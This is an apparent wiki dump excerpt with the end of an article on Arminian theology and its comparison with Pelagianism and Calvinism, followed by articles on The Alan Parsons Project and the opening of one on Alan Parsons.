The majority Arminian view is that election is individual and based on God's foreknowledge of faith, but a second perspective  deserves merit. These Arminians reject the concept of individual election entirely, prefering to understand the doctrine in corporate terms. According to this corporate election, God never chose individuals to elect to salvation, but rather He chose to elect the believing Church to salvation. Dutch Reformed theologian Herman Ridderbos says &quot;[The certainty of salvation] does not rest on the fact that the church belongs to a certain &quot;number&quot;, but that it belongs to Christ, from before the foundation of the world. Fixity does not lie in a hidden decree, therefore, but in corporate unity of the Church with Christ, whom it has come to know in the gospel and has learned to embrace in faith.&quot;{{ref|30-Ridderbos}}

Corporate election draws support from a similar concept of corporate election found in the Old Testament and Jewish law. Indeed most Biblical scholarship is in agreement that Judeo-Greco-Roman thought in the 1st century was opposite of the Western world's &quot;individual first&quot; mantra - it was very collectivist in nature.{{ref|31-Abasciano}} Identity stemmed from membership in a group more than individuality.{{ref|32-Abasciano}} According to Romans 9-11, supporters claim, Jewish election as the chosen people ceased with their national rejection of Jesus as Messiah. As a result of the new covenant, God's chosen people are now the corporate body of Christ, the church (sometimes called ''spiritual Israel'' - see also [[Covenant theology]]). Pastor and theologian Dr. Brian Abasciano claims &quot;What Paul says about Jews, Gentiles, and Christians, whether of their place in God’s plan, or their election, or their salvation, or how they should think or behave, he says from a corporate perspective which views the group as primary and those he speaks about as embedded in the group. These individuals act as members of the group to which they belong, and what happens to them happens by virtue of their membership in the group.&quot;{{ref|33-Abasciano}}

These scholars also maintain that Jesus was the only human ever elected and that individuals must be &quot;in Christ&quot; (Eph 1:3-4) through faith to be part of the elect. Joseph Dongell, professor at Asbury Theological Seminary, states &quot;the most conscipuous feature of Ephesians 1:3-2:10 is the phrase 'in Christ', which occurs twelve times in Ephesians 1:3-4 alone...this means that Jesus Christ himself is the chosen one, the predestined one. Whenever one is incorporated into him by grace through faith, one comes to share in Jesus' special status as chosen of God.&quot;{{ref|34-Dongell}} Markus Barth illustrates the inter-connectedness: &quot;Election in Christ must be understood as the election of God's people. Only as members of that community do individuals share in the benefits of God's gracious choice.&quot;{{ref|35-Barth}}

==Comparison to other views==
Understanding Arminianism is aided by understanding the theological alternatives - Pelagianism and Calvinism. Arminianism, like any major belief system, is frequently misunderstood both by critics and would-be supporters. Listed below are a few common misconceptions.

===Common misconceptions===
* '''Arminianism supports works-based salvation''' - No well-known system of Arminianism denies salvation &quot;by faith alone&quot; and &quot;by faith first to last&quot;. This misconception is often directed at the Arminian possibility of apostasy, which critics maintain requires continual good works to achieve final salvation. To Arminians, however, both intial salvation ''and'' eternal security are &quot;by faith alone&quot;; hence &quot;by faith first ''to last''&quot;. Belief through faith is the condition for entrance into the Kingdom of God; unbelief is the condition for exit from the Kingdom of God - not a lack of good works.{{ref|36-Pawson}} {{ref|37-Picirilli}} {{ref|38-Ashby}}
* '''Arminianism denies original sin and total depravity''' - No system of Arminianism founded on Arminius or Wesley denies original sin or total depravity;{{ref|39-Ashby}} both Arminius and Wesley ''strongly'' affirmed that man's basic condition is one in which he cannot be righteous, understand God, or seek God.{{ref|40-Arminius}} See the comparison to Calvinism below for where the two systems diverge.
* '''Arminianism denies Jesus' substitutionary payment for sins''' - Both Arminius and Wesley believed in the necessity and sufficiency of Christ's atonement through substitution.{{ref|41-Picirilli}} Arminius held that God's justice was satisfied [[Atonement (Satisfaction view) | individually]]{{ref|42-Ashby}} while Hugo Grotius and many of Wesley's followers taught that it was satisfied [[Atonement (Governmental view) | corporately]].{{ref|43-Picirilli}}

===Comparison to Pelagianism===
:''Main article: [[Pelagianism]]. See also: [[Semi-Pelagianism]], and [[History of Calvinist-Arminian Debate]]''

[[Pelagius]] was a British monk and opponent of [[Augustine of Hippo]] and [[St. Jerome | Jerome]] in the early 5th Century AD. When he arrived in Christian Rome from Britain, Pelagius was appalled at the lack of holiness he found. Pelagius preached justification through faith alone, but also believed salvation was finished through good works and moral uprightness. Furthermore, Pelagius completely denied the [[Predestination | double predestination]] and [[irresistible grace]] affirmed by Augustine. Several of his students - notably [[Caelestius]] - went further than their teacher and rejected justification by faith.

Through the influence of Augustine and Jerome, the teachings of Pelagius and Caelestius were rejected by the Papacy as heretical. Historically [[Pelagianism]] has come to to represent any system that denies original sin, holds that by nature humans are capable of good, and maintains morality and works are part of the equation that yields salvation. [[Semi-Pelagianism]] is a variation on the original more akin to Pelagius' own thought - that justification is through faith, but that Adam's original sin was merely a bad example, humans can naturally seek God, and salvation is completed through works. Both systems reject a Calvinist understanding of predestination.

Many critics of Arminianism, both historically and currently, claim that Arminianism condones, accepts, or even explicitly supports Pelagianism of either variety. Arminius refered to Pelagianism as &quot;the grand falsehood&quot; and stated that he &quot;must confess that I detest, from my heart, the consequences [of that theology].&quot;{{ref|44-Arminius}} David Pawson, a British pastor/theologian, decries this association as &quot;libelous&quot; when attributed to Arminius' or Wesley's doctrine.{{ref|45-Pawson}} Indeed most Arminians reject all accusations of Pelagianism; nonetheless, partially due to Calvinist opponents,{{ref|46-Pawson}} {{ref|47-Picirilli}} the two terms remain intertwined in popular usage. Listed below are similarities and contrasts between Arminianism and Pelagianism.

:'''Similarities:''' Both systems reject doctrines of Calvinistic predestination and irresistible grace. Both systems accept the Biblical importance of works, morality, and striving to become more holy.

:'''Differences:''' Arminianism maintains original sin, total depravity, substitutionary atonement, and salvation through faith alone. Arminianism maintains that works and holiness, while important, have no determining effect on salvation at any point in the process.

===Comparison to Calvinism===
{{Methodism}}
:''Main article: [[Calvinism]]''
Ever since Arminius and his followers revolted against Calvinism in the early 17th century, soteriology has been largely divided between Calvinism and Arminianism. On the conservative side of Calvinism is [[Hyper-Calvinism]] and on the liberal side of Arminianism is [[Pelagianism]], but the overwhelming majority of [[Protestantism | Protestant]], [[Evangelicalism | evangelical]] pastors and theologians hold to one of these two systems or somewhere in between. 

====Similarities====
*'''[[Total depravity]]''' - Arminians affirm with Calvinists the doctrine of total depravity. The differences come in the understanding of how God remedies this depravity.

*'''[[Substitutionary_atonement | Substitutionary effect of atonement]]''' - Arminians also affirm with Calvinists the substitutionary effect of Christ's atonement and that this effect is limited only to the elect. Classical Arminians would agree with Calvinists that this substitution was an individual [[Atonement (Satisfaction view) | penal satisfaction]] for all of the elect, while most Wesleyan Arminians would maintain that the substitution was corporate and [[Atonement (Governmental view) | governmental]] in nature.

====Differences====
* '''Extent of Atonement''' - Arminians hold to a universal drawing and [[Unlimited atonement | universal extent of atonement]] instead of the specific drawing and [[limited atonement | limited extent]] held by Calvinism. Ashby states:
::&quot;God could have sovereignly chosen to remedy humanity's situation differently than by the particularistic, cause-and-effect means proposed by Calvinism. In other words, when God saw his fallen human race in as bad a condition as it could possibly be in -'' 'dead in sins' ''and'' 'unable to do the least spiritual good' ''- logically, nothing would have precluded him from sovereignly choosing to reach out to all people with enabling grace (often referred to as prevenient grace). In fact, the Apostle Paul says that 'the grace of God that brings salvation has appeared to all men' (Titus 2:11)&quot;{{ref|48-Ashby}}

* '''Nature of Grace''' - Arminians believe that through God's [[prevenient grace]], he restores free will concerning salvation to all humanity. Individuals, therefore, are able either to accept the Gospel call through faith or resist it through unbelief. Calvinists hold that an individual's response to the Gospel call is determined by God, not man; thus God's grace is [[Irresistible grace | irresistible]]. Ashby continues:
::&quot;The Calvinist recoils and says, 'if all are enabled and all are drawn, then universalism must surely result - all would be saved.' To which I would say, 'Yes, ''if'' God's grace were irresistable grace.' Once again, however, God can sovereignly choose that his salvation is not going to proceed along the lines of a deterministic, cause-and-effect relationship. Rather, he is going to allow the sinner to resist the offer of grace, which grace he has sovereignly enabled the sinner to accept.&quot; {{ref|49-Ashby}}

* '''Conditionality of Election''' - Arminians hold that election to eternal salvation comes through (within) Jesus and therefore has the [[Conditional election| condition of faith]] attached. The Calvinist doctrine of [[unconditional election]] states that salvation cannot be earned and therefore has no human conditions - faith is not a condition, but rather a means. Jerry Dongell uses an illustration of a terrorist prison camp, with the sinner securely tied, blindfolded, gagged, and drugged and contrasts the two versions of Divine rescue offered:
::&quot;The Calvinist view of the divine invasion is simple. God invades the camp, carries the prisoner out, strips the prisoner of her shackles and blinders, and injects &quot;faith&quot; into the prisoner's veins. The former prisoner, having already been rescued from prison and positioned outside the walls, now trusts the Deliverer because of the potency of the administered faith serum. God has been the lone actor throughout, in the sense that the human response of faith is directly and irresistibly caused by God...

::&quot;The classical Arminian believes that God steals into the prison and makes it to the bedside of the victim. God injects a serum that begins to clear the prisoner's mind of delusions and quell her hostile reactions. God removes the gag from the prisoner's mouth and shines a flashlight around the pitch-black room. The prisoner remains mute as the Rescuer's voice whispers &quot;Do you know where you are? Let me tell you! Do you know who you are? Let me show you!&quot; And the wooing begins, divine truth begins to dawn on the prisoner's heart and mind; the Savior holds up a small mirror to show the prisoner her sunken eyes and frail body. &quot;Do you see what they've done to you, and do you see how you've given yourself to them?&quot; Even in the dim light, the prisoner's weakened eyes are beginning to focus. The rescuer continues &quot;Do you know who I am, and that I want you for myself?&quot; Perhaps the prisoner makes no obvious advance but does not turn away. The questions keep coming: &quot;Can I show you pictues of who you once were and the wondrous plans I have for you in the years to come?&quot; The prisoner's heartbeat quickens as the Savior presses on: &quot;I know that part of you suspects that I have come to harm you. But let me show you something - my hands, they're a bit bloody. I crawled through the awful tangle of barbed wire to get you.&quot; Now here in this newly created sacred space, in this moment of new possibility, the Savior whispers &quot;I want to carry you out of here right now! Give me your heart! Trust me!&quot;{{ref|50-Dongell}}

* '''Perseverance''' - Arminians believe that future salvation and eternal life is secured in Christ and protected from all external forces, but is [[Conditional Preservation of the Saints | conditional on remaining in Christ]] and can be lost through apostasy. This conditional perseverance is in contrast to the doctrine of [[Perseverance of the Saints]] and concept of &quot;once saved, always saved&quot;. Pawson comments:
::&quot;The Arminian position is accurately portrayed by someone throwing a lifeline to a drowning man and saying 'grab hold of this and keep holding on tightly until I pull you to safety.' I would maintain that no one rescued in this way would dream that he had saved himself or even made a 'contribution' which merited his rescue. He would be filled with gratitude towards his rescuer.&quot;{{ref|51-Pawson}}

==See also==
{|
| valign=&quot;top&quot; | 
'''Doctrine'''
* [[Total depravity]]
* [[Prevenient grace]]
* [[Unlimited atonement]]
* [[Substitutionary atonement]]
** [[Atonement (Satisfaction view) | Penal satisfaction atonement]]
** [[Atonement (Governmental view) | Governmental atonement]]
* [[Free will]]
* [[Conditional election]]
* [[Conditional preservation of the Saints]]          
| valign=&quot;top&quot; |
'''People, History, Denominations'''
* [[Jacobus Arminius]]
* [[Hugo Grotius]]
* [[Remonstrants | The Remonstrants]]
* [[Methodism]]
** [[John Wesley]]
** [[Charles Wesley]]
* [[Anglicanism]]
* [[Pentecostalism]] &amp; [[Charismatics]]
* [[Baptist | General &amp; Free Will Baptists]]
* [[History of Calvinist-Arminian Debate]]
| valign=&quot;top&quot; |
'''Opposing Views'''
* [[Calvinism]]
** [[Five points of Calvinism]]
** [[John Calvin]]
** [[Unconditional election]]
** [[Limited atonement]]
** [[Irresistible grace]]
** [[Perseverance of the Saints]]
* [[Pelagianism]]
** [[Pelagius]]
** [[Semi-Pelagianism]]
|}

==Further reading==
''Pro''
*Ashby, Stephen M (contributor) and Harper, Steven (contributor) ''Four Views on Eternal Security'' (Grand Rapids: Zondervan, 2002) ISBN 0310234395 - Stephen Ashby and Steven Harper present and defend their cases for Reformed Arminianism (classical) and Wesleyan Arminianism respectively against Michael Horton (Classical Calvinism), Norman Geisler (Moderate Calvinism) and each other.

*Forlines, Leroy F., Pinson, Matthew J. and Ashby, Stephen M. ''The Quest for Truth: Answering Life's Inescapable Questions'' (Nashville: Randall House Publications, 2001) ISBN 0892658649 - Forlines and his co-authors present a comprehensive systematic theology of salvation from an Arminian perspective.

*Forster, Roger and Marston, Paul ''God's Strategy in Human History'' 2nd ed. (Wipf and Stock Publishers, 2000) ISBN 1579102735 - The authors take a deep look at the grammatical and historical contexts of New Testament passages dealing with predestination and election, along with historical sources from the first 300 years A.D., and come to Arminian conclusions.

*Pawson, David ''Once Saved, Always Saved? A Study in Perseverance and Inheritance'' (London: Hodder &amp; Staughton, 1996) ISBN 0340610662 - British pastor and theologian takes a deeper look at the Scriptural, historical, and theological arguments against the doctrine of &quot;once saved, always saved&quot;.

*Picirilli, Robert ''Grace, Faith, Free Will: Contrasting Views of Salvation: Calvinism and Arminianism'' (Nashville: Randall House Publications, 2002) ISBN 0892656484 - Picirilli takes a closer look at the life and views of Jacobus Arminius and presents his historical and theological argument for Reformation Arminianism (classical).

*Shank, Dr. Robert ''Elect in the Son'' (Bethany House Publishers, 1989) ISBN 1556610920 - The classic defense of Arminianism. First published in the mid-20th century, it remains one of the primary defenses of Arminian thought.

*Walls, Jerry L. and Dongell, Joseph R. ''Why I Am Not a Calvinist'' (Downer's Grove: Intervarsity Press, 2004) ISBN  0830832491 - Walls and Dongell present their Scriptural and philosophical arguments against Calvinism, focusing primarily on the nature of human freedom, divine sovereignty, self-consistency, and the Christian life.

''Con''
*Grudem, Wayne ''Systematic Theology'' (Grand Rapids: Zondervan, 1995) ISBN 0310286700 - A well-reasoned and Scriptural systematic theology that presents a Calvinist view.

*Peterson, Robert A. and Williams, Michael D. ''Why I Am Not an Arminian'' (Downer's Grove: Intervarsity Press, 2004) ISBN 0830832483 - The counterpoint to ''Why I Am Not a Calvinist'' presents a Scriptural and philosophical case against Arminianism.

*White, James R. ''The Potter's Freedom'' (Calvary Press, 2000) ISBN 1879737434 - A Calvinist response to Norman Geisler's ''Chosen but Free'' (in which Geisler presents a &quot;moderate Calvinism&quot; that only holds to perseverance of the Saints), it is widely considered by both supporters and opponents to be a strong, consistent portrayal of Calvinism.

==Notes==
&lt;div style=&quot;font-size:smaller;&quot;&gt;
'''History'''
&lt;br&gt;''see [[History of Calvinist-Arminian Debate]] for additional notes''
&lt;br&gt; (1) {{note|1-BFM}} &quot;The Baptist Faith and Message, 2000 Revision&quot; (http://www.sbc.net/bfm/bfm2000.asp#iv)
&lt;br&gt; (2) {{note|2-Harmon}} Harmon, Richard W. ''Baptists and Other Denominations'' (Nashville: Convention Press, 1984) 17-18, 45-46
&lt;br&gt; (3) {{note|3-Walls}} Walls, Jerry and Dongell, Joseph ''Why I Am Not a Calvinist'' (Downer's Grove: Intervarsity Press, 2004) 12-13, 16-17
&lt;br&gt; (4) {{note|4-Walls}} Ibid., 7-20
&lt;br&gt;'''Classical Arminianism'''
&lt;br&gt; (5) {{note|5-Ashby}} Ashby, Stephen &quot;Reformed Arminianism&quot; ''Four Views on Eternal Security'' (Grand Rapids: Zondervan, 2002), 137
&lt;br&gt; (6) {{note|6-Arminius}} Arminius, James ''The Writings of James Arminius'' (three vols.), tr. James Nichols and W.R. Bagnall (Grand Rapids: Baker, 1956), I:252
&lt;br&gt; (7) {{note|7-Arminius}} Ibid., I:316
&lt;br&gt; (8) {{note|8-Arminius}} Ibid., III:454
&lt;br&gt; (9) {{note|9-Ashby}} Ashby ''Four Views'', 140
&lt;br&gt; (10) {{note|10-Picirilli}} Picirilli, Robert ''Grace, Faith, Free Will: Contrasting Views of Salvation: Calvinism and Arminianism'' (Nashville: Randall House Publications, 2002), 154ff
&lt;br&gt; (11) {{note|11-Forlines}} Forlines, Leroy F., Pinson, Matthew J. and Ashby, Stephen M. ''The Quest for Truth: Answering Life's Inescapable Questions'' (Nashville: Randall House Publications, 2001), 313-321
&lt;br&gt; (12) {{note|12-Arminius}} Arminius ''Writings'', III:311
&lt;br&gt; (13) {{note|13-Arminius}} Ibid.
&lt;br&gt; (14) {{note|14-Pawson}} Pawson, David ''Once Saved, Always Saved? A Study in Perseverance and Inheritance'' (London: Hodder &amp; Staughton, 1996), 109ff
&lt;br&gt; (15) {{note|15-Picirilli}} Picirilli ''Grace, Faith, Free Will'' 203
&lt;br&gt; (16) {{note|16-Picirilli}} Ibid., 204ff
&lt;br&gt; (17) {{note|17-Arminius}} Arminius ''Writings'', I:254
&lt;br&gt; (18) {{note|18-Ashby}} Ashby ''Four Views'', 159
&lt;br&gt;'''Wesleyan Arminianism'''
&lt;br&gt; (19) {{note|19-Harper}} Harper, Steven &quot;Wesleyan Arminianism&quot; ''Four Views on Eternal Security'' (Grand Rapids: Zondervan, 2002) 227ff
&lt;br&gt; (20) {{note|20-Harper}} Ibid., 239-240
&lt;br&gt; (21) {{note|21-Wesley}} Wesley, John &quot;A Call to Backsliders&quot; ''The Works of John Wesley'', ed. Thomas Jackson, 14 vols. (London: Wesley Methodist Book Room, 1872; repr, Grand Rapids: Baker, 1986) 3:211ff
&lt;br&gt; (22) {{note|22-Wesley}} Wesley, John &quot;A Plain Account of Christian Perfection&quot;, ''Works''
&lt;br&gt; (23) {{note|23-Wesley}} Wesley, John &quot;The End of Christ’s Coming&quot;, ''Works''
&lt;br&gt; (24) {{note|24-Wesley}} Wesley, John &quot;A Plain Account of Christian Perfection&quot;, ''Works''
&lt;br&gt;'''Other Variations'''
&lt;br&gt; (25) {{note|25-Picirilli}} Picirilli, ''Grace, Faith, Free Will'', 40 - Picirilli actually objects so strongly to the link between Arminianism and Open theism that he devotes an entire section to his objections. See 59ff
&lt;br&gt; (26) {{note|26-Dongell}} Dongell, Joseph and Walls, Jerry ''Why I Am Not a Calvinist'', 45
&lt;br&gt; (27) {{note|27-Picirilli}} Picirilli, ''Grace, Faith, Free Will'', 42-43, 59ff
&lt;br&gt; (28) {{note|28-Ashby}} Ashby, ''Four Views on Eternal Security'', 146-147
&lt;br&gt; (29) {{note|29-Picirilli}} Picirilli, ''Grace, Faith, Free Will'', 40
&lt;br&gt; (30) {{note|30-Ridderbos}} Ridderbos, Herman ''Paul: An Outline of His Theology'' trans. John Richard de Witt (Grand Rapids: Eerdmans, 1975), 350-351
&lt;br&gt; (31) {{note|31-Abasciano}} Abasciano, Brian ''Paul’s Use of the Old Testament in Romans 9:1-9: An Intertextual and Theological Exegesis'' (T&amp;T Clark Publishers, 2006), ISBN 0567030733
&lt;br&gt; (32) {{note|32-Abasciano}} Ibid.
&lt;br&gt; (33) {{note|33-Abasciano}} Ibid.
&lt;br&gt; (34) {{note|34-Dongell}} Dongell, Joseph and Walls, Jerry ''Why I am Not a Calvinist'', 76
&lt;br&gt; (35) {{note|35-Barth}} Barth, Markus ''Ephesians'' (Garden City, N.Y.: Doubleday, 1974), 108
&lt;br&gt;'''Comparison to Opposing Views'''
&lt;br&gt; (36) {{note|36-Pawson}} Pawson ''Once Saved, Always Saved?'' 121-124
&lt;br&gt; (37) {{note|37-Picirilli}} Picirilli ''Grace, Faith, Free Will'' 160ff
&lt;br&gt; (38) {{note|38-Ashby}} Ashby ''Four Views on Eternal Security'' 142ff
&lt;br&gt; (39) {{note|39-Ashby}} Ibid., 138-139
&lt;br&gt; (40) {{note|40-Arminius}} Arminius, ''Writings'' 2:192
&lt;br&gt; (41) {{note|41-Picirilli}} Picirilli ''Grace, Faith, Free Will'' 104-105, 132ff
&lt;br&gt; (42) {{note|42-Ashby}} Ashby ''Four Views on Eternal Security'' 140ff
&lt;br&gt; (43) {{note|43-Picirilli}} Picirilli ''Grace, Faith, Free Will'' 132
&lt;br&gt; (44) {{note|44-Arminius}} Arminius ''Writings'', II:219ff (the entire treatise occupies pages 196-452)
&lt;br&gt; (45) {{note|45-Pawson}} Pawson ''Once Saved, Always Saved?'', 106
&lt;br&gt; (46) {{note|46-Pawson}} Ibid., 97-98, 106
&lt;br&gt; (47) {{note|47-Picirilli}} Picirilli ''Grace, Faith, Free Will'', 6ff
&lt;br&gt; (48) {{note|48-Ashby}} Ashby ''Four Views on Eternal Security'' 146-147
&lt;br&gt; (49) {{note|49-Ashby}} Ibid.
&lt;br&gt; (50) {{note|50-Dongell}} Dongell, Joseph and Walls, Jerry ''Why I Am Not a Calvinist''
&lt;br&gt; (51) {{note|51-Pawson}} Pawson ''Once Saved, Always Saved?'' 106
&lt;/div&gt;

==External links==
* [http://wesley.nnu.edu/arminianism/Arminius/index.htm The Works of Arminius]
* [http://gbgm-umc.org/Umhistory/Wesley/arminian.stm What is an Arminian?] by John Wesley
* [http://gbgm-umc.org/Umhistory/Wesley/sermons/serm-058.stm Sermon #58: &quot;On Predestination&quot;] by John Wesley
* [http://wesley.nnu.edu/wesleyan_theology/theojrnl/16-20/17-12.htm The Nature of Wesleyan Theology] by J. Kenneth Grider
* [http://www.biblical-theology.com/security/eternal.htm Eternal Security] by Gordon Olson
* [http://www.biblical-theology.com/security/ues.htm Eternal Security] by Daniel Corner
* [http://www.biblicaladvancedbasics.com/Security.pdf Eternal Security] by Frederick E. Lewis
* [http://www.affcrit.com/pdfs/2003/01/03_01_wr.pdf  The Perseverance of the Saints] - PDF article showing the differences and similarities between Arminian and Calvinist viewpoints on the perseverance of the saints while arguing for assurance of salvation
* [http://wesley.nnu.edu/wesleyan_theology/theojrnl/21-25/22-06.htm Characteristics of Wesley's Arminianism] by Luke L. Keefer, Jr.
* [http://www.newadvent.org/cathen/01740c.htm Arminianism] from the Catholic Encyclopedia
* [http://www.monergism.com/thethreshold/articles/topic/arminianism.html  A Comparison of Arminian Theology with the Calvinist Tradition] (from a conservative Calvinist perspective)
* [http://www.gotquestions.org/arminianism.html Is Arminianism Biblical?] (from a Calvinist perspective)
* [http://www.the-highway.com/Arminianism_Exposed2.html Armininaism Exposed] by Mark Herzer (from a Calvinist perspective)

[[Category:Christian theology]]
[[Category:Methodism]]
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[[Category:Arminianism]]

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  <page>
    <title>The Alan Parsons Project</title>
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      <text xml:space="preserve">'''The Alan Parsons Project''' was a British [[progressive rock]] and pop group active between 1975 and 1987 founded by [[Alan Parsons]] and [[Eric Woolfson]]. 

Most of their titles, especially the early work, share common traits (likely influenced by [[Pink Floyd]]'s ''[[Dark Side of the Moon]]'', on which Parsons was the [[audio engineer]] in [[1973 in music|1973]]): they were [[concept album]]s, they tended to begin with an instrumental introduction which faded into the first song, often had an instrumental piece in the middle of the second [[gramophone record|LP]] side, and concluded with a quiet, sad, or powerful song. (The opening instrumental was largely done away with by 1980; no later Project album except &quot;Eye In The Sky&quot; featured one.)

The group was also unusual for its lack of a single lead vocalist. Lead vocal duties alternate between Woolfson (mostly for slow or sad songs) and a stream of guest vocalists chosen by their vocal style to complement each song. Woolfson sang lead on many of the group's hits (including &quot;Time&quot; and &quot;Eye In The Sky&quot;) and the record company pressured Parsons to use him more, but Parsons preferred &quot;real&quot; singers, which Woolfson admitted he was not. In addition to Woolfson, Chris Rainbow, Lenny Zakatek, and Colin Blunstone made regular appearances. Other singers, such as Ambrosia's David Pack, Vitamin Z's Geoff Barradale, and Procol Harum's Gary Brooker, have recorded only once or twice with the Project. Parsons himself only sang lead on one song (&quot;The Raven&quot;) and can be heard singing backup on another (&quot;To One in Paradise&quot;). Both of those songs appeared on the group's first record, ''[[Tales of Mystery and Imagination]]'', an album containing music based on the stories and poetry of [[Edgar Allan Poe]].

Although the vocalists varied, a small number of musicians worked with the Alan Parsons Project regularly. They, and Parsons' production, are the reason listeners can instantly recognize a song as a Project work even with an unfamiliar singer. Andrew Powell (composer and arranger of orchestral music throughout the life of the Project), Ian Bairnson (guitar) and Richard Cottle (synthesizer and saxophone) were integral parts of the Project's sound. Powell is also notable for having composed a [[film score]] in the Project style for [[Richard Donner]]'s film ''[[Ladyhawke]]''.

Behind the revolving lineup and the regular sidemen, the true core of the Project was the duo of Parsons and Woolfson. Eric Woolfson was a lawyer by profession, but is a classically-trained composer and pianist as well. Alan Parsons was a successful producer and accomplished engineer. Both worked together to craft noteworthy songs with impeccable fidelity, and almost all songs on Project albums are credited to &quot;Woolfson/Parsons.&quot;

== Members ==
* [[Alan Parsons]], keyboards, production, engineering; 
* [[Eric Woolfson]], keyboards, executive production
* [[Andrew Powell]], keyboards, orchestral arrangements; 
* [[Ian Bairnson]], guitars
*Bass: [[David Paton]] (1975-1985); Laurie Cottle (1985-1987)
*Drums, Percussion: [[Stuart Tosh]] (1975-1977); Stuart Elliott (1977-1987)
*Saxophones, Keyboards: [[Mel Collins]] (1980-1984); Richard Cottle (1984-1987)
*Vocals: [[Eric Woolfson]], Lenny Zakatek, [[John Miles (musician)|John Miles]], [[Chris Rainbow]], [[Colin Blunstone]], [[David Paton]], and many others including [[Arthur Brown (musician)|Arthur Brown]].

==Trivia==
*In the [[Austin Powers]] movie ''[[Austin Powers: The Spy Who Shagged Me|The Spy who Shagged Me]]'', [[Dr. Evil]]'s laser was called &quot;The Alan Parsons Project,&quot; after the &quot;noted Cambridge physicist Dr. Parsons&quot;
*The project for developing a new site for the [[National Library for the Blind]] is officially called &quot;The Alan Parsons Project&quot;
*&quot;Sirius&quot;, the instrumental piece that opens ''Eye In The Sky,'' is popular in the [[National Basketball Association|NBA]] as background music during player introductions. It is perhaps best remembered as playing this role for all six [[Chicago Bulls]] championship teams of the 1990s. 
*&quot;Sirius&quot; and ''Eye In The Sky'''s other instrumental, &quot;Mammagamma&quot;, were used as music-under for a [[1987]] [[The Weather Channel|Weather Channel]] special on thunderstorms (this was far before the network engaged in regular non-live programming), alongside the music of [[Jean-Michel Jarre]].
* In [[The Simpsons]] episode 3F21 [[Homerpalooza]], Homer thought that The Alan Parsons Project was &quot;some sort of hovercraft&quot;.
* [[Grandaddy]]'s promo-only single &quot;[[Alan Parsons In A Winter Wonderland|Alan Parsons in a Winter Wonderland]]&quot; is a humourous cover of the Christmas song [[Winter Wonderland]], with lyrics altered to make the song about Alan Parsons.

== Discography ==
* [[1975 in music|1975]] ''[[Tales of Mystery and Imagination]]'' - based on stories by the writer [[Edgar Allan Poe]]. The later reissue on CD (in 1987) was remixed from the original master tapes, enhancing some of the tracks and restoring the [[Orson Welles]] narration (recorded a few weeks before his death) that was left off the original due to record company 'concerns'.
* [[1977 in music|1977]] ''[[I Robot (album)|I Robot]]'' - The title quotes [[Isaac Asimov]]'s [[I, Robot|work]], &quot;a view of tomorrow through the eyes of today&quot;. Includes minor hits &quot;I Wouldn't Want to Be Like You&quot; and &quot;Breakdown.&quot;
* [[1978 in music|1978]] ''[[Pyramid (album)|Pyramid]]'' - [[Ancient Egypt]] surfaces repeatedly, the album is called &quot;a view of yesterday through the eyes of today&quot;.
* [[1979 in music|1979]] ''[[Eve (album)|Eve]]'' - about [[woman|women]]; this is the only Project album to feature female lead vocalists - and even then only on two tracks.
* [[1980 in music|1980]] ''[[The Turn of a Friendly Card]]'' - about [[gambling]], literally and figuratively. Includes their hits &quot;Time&quot; and &quot;Games People Play.&quot;
* [[1982 in music|1982]] ''[[Eye in the Sky]]'' - presumably about surveillance, [[Life]] and the [[Universe]], but some insist it is about &quot;forgotten and lost values&quot;. Album contains their most famous single, &quot;Eye in the Sky.&quot; 
* [[1984 in music|1984]] ''[[Ammonia Avenue]]'' - although this album has no discernable theme, it is their most &quot;radio-friendly&quot; album. Includes &quot;Don't Answer Me&quot; and &quot;You Don't Believe&quot; (the latter first appeared on a 1983 &quot;best of&quot; collection).
* [[1984 in music|1984]] ''[[Vulture Culture]]'' - a critique of consumerism and, in particular, American popular culture. Includes &quot;Let's Talk About Me.&quot;
* [[1985 in music|1985]] ''[[Stereotomy]]'' - The effect of fame and fortune on various people - singers, actors, etc.
* [[1987 in music|1987]] ''[[Gaudi (album)|Gaudi]]'' - songs inspired by the life of Catalan architect [[Antoni Gaudí]], with a song named after his most famous work, [[Sagrada familia|La Sagrada Familia]].

After those albums, Parsons released other titles under his name (''[[Try Anything Once]]'', ''[[On Air]]'', ''[[The Time Machine (album)|The Time Machine]]'', and ''[[A Valid Path]]''), while Woolfson made [[concept albums]] named ''Freudiana'' (about [[Sigmund Freud]]'s work on [[psychology]]) and ''[[Poe - More Tales of Mystery and Imagination]]'' (continuing from the Alan Parsons Project's first album about [[Edgar Allan Poe]]'s literature).

Although the studio version of ''Freudiana'' was produced by Alan Parsons (and featured the regular Project backing musicians, making it an 'unofficial' Project album), it was primarily Eric Woolfson's idea to turn it into a musical. This eventually led to a rift between the two artists. While Alan Parsons pursued his own solo career and took many members of the Project on the road for the first time in a successful worldwide tour, Eric Woolfson went on to produce musical plays influenced by the Project's music. ''Freudiana'', ''Gaudi'' and ''Gambler'' were three musicals that included some Project songs like &quot;Eye in the Sky&quot;, &quot;Time&quot;, &quot;Inside Looking Out,&quot; and &quot;Limelight.&quot; The live music from ''Gambler'' was only distributed at the performance site (in [[Cologne]], Germany).

A collection called ''The Instrumental Works'' (1990; now out of print) includes many of the Project's instrumental tracks.

[[Category:English musical groups|Alan Parsons Project, The]]
[[Category:Progressive rock groups|Alan Parsons Project, The]]

[[de:The Alan Parsons Project]]
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  <page>
    <title>Alan Parsons</title>
    <id>1308</id>
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      <minor />
      <text xml:space="preserve">'''Alan Parsons''' (born [[December 20]], [[1949]]) is a [[United Kingdom|British]] musician.

He began his musical career as a staff engineer at EMI Studios, and first garnered significant industry exposure via his work on the [[Beatles]]' 1969 masterpiece ''[[Abbey Road (album)|Abbey Road]]''. Parsons subsequently worked with [[Paul McCartney]] on several of [[Wings (band)|Wings]]' earliest albums; he also oversaw recordings from [[Al Stewart]], [[Cockney Rebel]], [[Pilot]], [[Ambrosia (band)|Ambrosia]], and the [[Hollies]], but solidified his reputation by working on [[Pink Floyd]]'s ''[[Dark Side of the Moon]]''.

